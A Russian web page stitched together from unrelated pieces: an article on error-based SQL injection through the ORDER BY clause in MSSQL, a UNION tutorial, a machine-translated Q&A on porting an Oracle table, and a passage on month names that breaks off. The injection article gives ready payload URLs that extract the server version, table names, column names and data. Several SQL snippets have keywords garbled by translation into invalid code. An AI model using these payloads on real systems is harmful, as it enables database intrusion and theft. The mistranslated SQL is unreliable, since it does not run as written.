Convert sql описание: SQL Server функция CONVERT — Oracle PL/SQL •MySQL •MariaDB •SQL Server •SQLite

SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера

Автор: Manish Kishan Tanwar

Введение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

  • convert ()

  • file_name ()

  • db_name()

  • col_name()

  • filegroup_name()

  • object_name()

  • schema_name()

  • type_name()

  • cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable. asp?data=yes&order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema. columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema. columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable. asp?data=yes&order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable. asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Благодарности

Выражаю особую благодарность IndiShell Crew и Myhackerhouse.

UNION — Учебник SQL — Schoolsw3.com


❮ Назад
Далее ❯


UNION

Оператор UNION используется для объединения результирующего набора из двух или более заявлений SELECT.

  • Каждый оператор SELECT в UNION должен иметь одинаковое количество столбцов
  • Столбцы также должны иметь схожие типы данных
  • Столбцы в каждом заявлении SELECT также должны располагаться в том же порядке

Синтаксис UNION

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

Синтаксис UNION ALL

Оператор UNION по умолчанию выбирает только отдельные значения. Чтобы разрешить повторяющиеся значения, использовать UNION ALL:

SELECT column_name(s) FROM table1
UNION ALL
SELECT column_name(s) FROM table2;

Примечание: Имена столбцов в результирующем наборе обычно равны именам столбцов в первом заявлении SELECT в UNION.


Демо база данных

В этом уроке мы будем использовать хорошо известный пример базы данных Northwind.

Ниже приведен выбор из таблицы «Customers»:

CustomerIDCustomerNameContactNameAddressCityPostalCodeCountry
1Alfreds FutterkisteMaria AndersObere Str. 57Berlin12209Germany
2Ana Trujillo Emparedados y heladosAna TrujilloAvda. de la Constitución 2222México D.F.05021Mexico
3Antonio Moreno TaqueríaAntonio MorenoMataderos 2312México D. F.05023Mexico

И выбор из таблицы «Suppliers»:

SupplierIDSupplierNameContactNameAddressCityPostalCodeCountry
1Exotic LiquidCharlotte Cooper49 Gilbert St.LondonEC1 4SDUK
2New Orleans Cajun DelightsShelley BurkeP.O. Box 78934New Orleans70117USA
3Grandma Kelly’s HomesteadRegina Murphy707 Oxford Rd.Ann Arbor48104USA


Пример SQL UNION

Следующая инструкция SQL возвращает города (только отдельные значения) как из таблицы «Customers», так и из таблицы «Suppliers»:

Пример

SELECT City FROM Customers
UNION
SELECT City FROM Suppliers
ORDER BY City;

Попробуйте сами »

Примечание: Если некоторые клиенты или поставщики имеют один и тот же город,
то каждый город будет указан только один раз, поскольку UNION выбирает только различные значения.
Используйте UNION ALL, чтобы также выбрать повторяющиеся значения!


Пример SQL UNION ALL

Следующая инструкция SQL возвращает города (также повторяющиеся значения) как из таблицы «Customers», так и из таблицы «Suppliers»:

Пример

SELECT City FROM Customers
UNION ALL
SELECT City FROM Suppliers
ORDER BY City;

Попробуйте сами »


Пример SQL UNION с WHERE

Следующая инструкция SQL возвращает немецкие города (только отдельные значения) как из таблицы «Customers», так и из таблицы «Suppliers»:

Пример

SELECT City, Country FROM Customers
WHERE Country=’Germany’
UNION
SELECT City, Country FROM Suppliers
WHERE Country=’Germany’
ORDER BY City;

Попробуйте сами »


Пример SQL UNION ALL с WHERE

Следующая инструкция SQL возвращает немецкие города (также повторяющиеся значения) как из таблицы «Customers», так и из таблицы «Suppliers»:

Пример

SELECT City, Country FROM Customers
WHERE Country=’Germany’
UNION ALL
SELECT City, Country FROM Suppliers
WHERE Country=’Germany’
ORDER BY City;

Попробуйте сами »


Пример UNION другой

Следующая инструкция SQL содержит список всех клиентов и поставщиков:

Пример

SELECT ‘Customer’ As Type, ContactName, City, Country
FROM Customers
UNION
SELECT ‘Supplier’, ContactName, City, Country
FROM Suppliers;

Попробуйте сами »

Обратите внимание на «AS Type» выше — это псевдоним.
Псевдонимы SQL используются для присвоения таблице или столбцу временного имени.
Псевдоним существует только на время выполнения запроса.
Итак, здесь мы создали временный столбец с именем «Type», который перечисляет, является ли контактное лицо «клиентом» или «поставщиком».

❮ Назад
Далее ❯

Как преобразовать таблицу Oracle в таблицу SQL Server

спросил

Изменено
1 год, 7 месяцев назад

Просмотрено
350 раз

У меня есть запрос на создание определенной таблицы в Oracle, но мне нужно создать точно такую ​​же таблицу в SQL Server с теми же столбцами, настройками и функциями в конце:

 СОЗДАТЬ ТАБЛИЦУ "FRAUD_OWNER"."DR_DISKSPACE_ALL"
(
    "IP" VARCHAR2 (50 БАЙТ),
    "ФАЙЛОВАЯ СИСТЕМА" VARCHAR2 (50 БАЙТ),
    "DISKSIZE" VARCHAR2 (30 БАЙТ),
    "ИСПОЛЬЗУЕМЫЙ" VARCHAR2 (20 БАЙТ),
    "ДОСТУПЕН" VARCHAR2 (20 БАЙТ),
    "USEDPERCENT" VARCHAR2 (20 БАЙТ),
    "УСТАНОВЛЕН" VARCHAR2 (30 БАЙТ),
    "RUN_DATE_TIME" ДАТА
) НЕМЕДЛЕННОЕ СОЗДАНИЕ СЕГМЕНТА
PCTFREE 10 PCTUSED 0 INITRANS 1 MAXTRANS 255
НЕКОМПРЕСС-РЕГИСТРАЦИЯ
ХРАНЕНИЕ(НАЧАЛЬНОЕ 65536 СЛЕДУЮЩЕЕ 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
        PCTINCREASE 0 СПИСКИ СВОБОДНЫХ СПИСКОВ 1 ГРУППЫ СПИСКОВ 1
        BUFFER_POOL DEFAULT FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
ТАБЛИЧНОЕ ПРОСТРАНСТВО "FV_DATA" ВКЛЮЧИТЬ ПЕРЕМЕЩЕНИЕ СТРОКИ ;
 

Как мне этого добиться или кто-нибудь может преобразовать его в SQL Server?

Спасибо.

  • sql-сервер
  • оракул

2

Вы бы не перенесли ни одну из этих настроек в конце. В любом случае, они в основном просто значения по умолчанию Oracle. Так что просто varchar2 => varchar и удалите BYTE , что является единственным способом указать длину varchar в SQL Server.

Схемы Oracle часто сопоставляются с базами данных SQL Server, хотя при желании можно сопоставить со схемой SQL Server.

Кроме того, Oracle всегда чувствителен к регистру, поэтому вы можете выбрать сортировку с учетом регистра.

 ИСПОЛЬЗОВАТЬ МОШЕННИКА_ВЛАДЕЛЬЦА
СОЗДАТЬ ТАБЛИЦУ "DR_DISKSPACE_ALL"
(
    "ИП" ВАРЧАР(50),
    "ФАЙЛОВАЯ СИСТЕМА" VARCHAR(50),
    "РАЗМЕР ДИСКА" VARCHAR(30),
    "Б/У" ВАРЧАР(20),
    "АВЕЙЛ" ВАРЧАР(20),
    "ИСПОЛЬЗУЕМЫЙ ПРОЦЕНТ" VARCHAR(20),
    "НАВЕСНОЙ" ВАРЧАР(30),
    "RUN_DATE_TIME" ДАТА
)
 

Если вам нужно преобразовать большое количество таблиц или вам необходимо преобразовать код Oracle SQL или Oracle PL/SQL, вы можете использовать Помощник по миграции SQL Server для Oracle.

Возможно, вам следует добавить кластеризованный первичный ключ.

Зарегистрируйтесь или войдите в систему

Зарегистрируйтесь с помощью Google

Зарегистрироваться через Facebook

Зарегистрируйтесь, используя адрес электронной почты и пароль

Опубликовать как гость

Электронная почта

Требуется, но никогда не отображается

Опубликовать как гость

Электронная почта

Требуется, но не отображается

Как преобразовать номер месяца в название месяца в SQL и Snowflake

  • Инструкции Часто задаваемые вопросы
  • 17 декабря 2020 г.

Нет встроенной функции для преобразования номера месяца в название месяца в SQL. Но для этого мы можем использовать комбинацию нескольких различных функций даты. Различные базы данных имеют разные встроенные функции даты.

Но прежде чем мы перейдем к этому, мы хотели бы показать вам очень простой способ сделать это.

Это называется «моделирование с низким кодом с помощью Datameer».

1. Datameer: ​​

Datameer — это многопользовательский инструмент преобразования, созданный для моделирования данных в Snowflake.

По нашему требованию Datameer имеет встроенную функцию «Название месяца», которая берет вашу дату, извлекает номер месяца и плавно выводит название месяца в соответствующем формате.

Посмотрите видео выше, чтобы увидеть, как это делается в Datameer.

2. MySQL:

В MySQL мы можем использовать комбинацию функций « MONTHNAME» и « STR_TO_DATE» , чтобы получить название месяца из номера месяца.

 ВЫБЕРИТЕ ИМЯ МЕСЯЦА(STR_TO_DATE(5, '%m')) КАК 'Название месяца'
-- Выход
# Название месяца

------------------
Май

ВЫБЕРИТЕ MONTHNAME(STR_TO_DATE(11, '%m')) AS 'Название месяца'
-- Выход
# Название месяца

--------------
Ноябрь 

3. SQL SERVER:

В SQL SERVER мы можем использовать комбинацию функций ‘ DATENAME’ и ‘ DATEADD’ функции для получения названия месяца из номера месяца.

 -- В запросе ниже 3-й параметр функции DATEADD может быть любой датой с 12-м месяцем
SELECT DATENAME(MONTH, DATEADD(MONTH, 1, '2000-12-01')) AS 'Название месяца'

-- Выход
Название месяца
-----------
январь

-- В запросе ниже 3-й параметр функции DATEADD может быть любой датой с 12-м месяцем
ВЫБЕРИТЕ DATENAME(MONTH, DATEADD(MONTH, 2, '2020-12-01')) AS 'Название месяца'

-- Выход
Название месяца
-----------
февраль

-- Или 3-й параметр может быть просто -1, как показано ниже
SELECT DATENAME( MONTH, DATEADD( MONTH, 12, -1)) AS 'Название месяца'

-- Выход
Название месяца
------------------
9 декабря0013

4.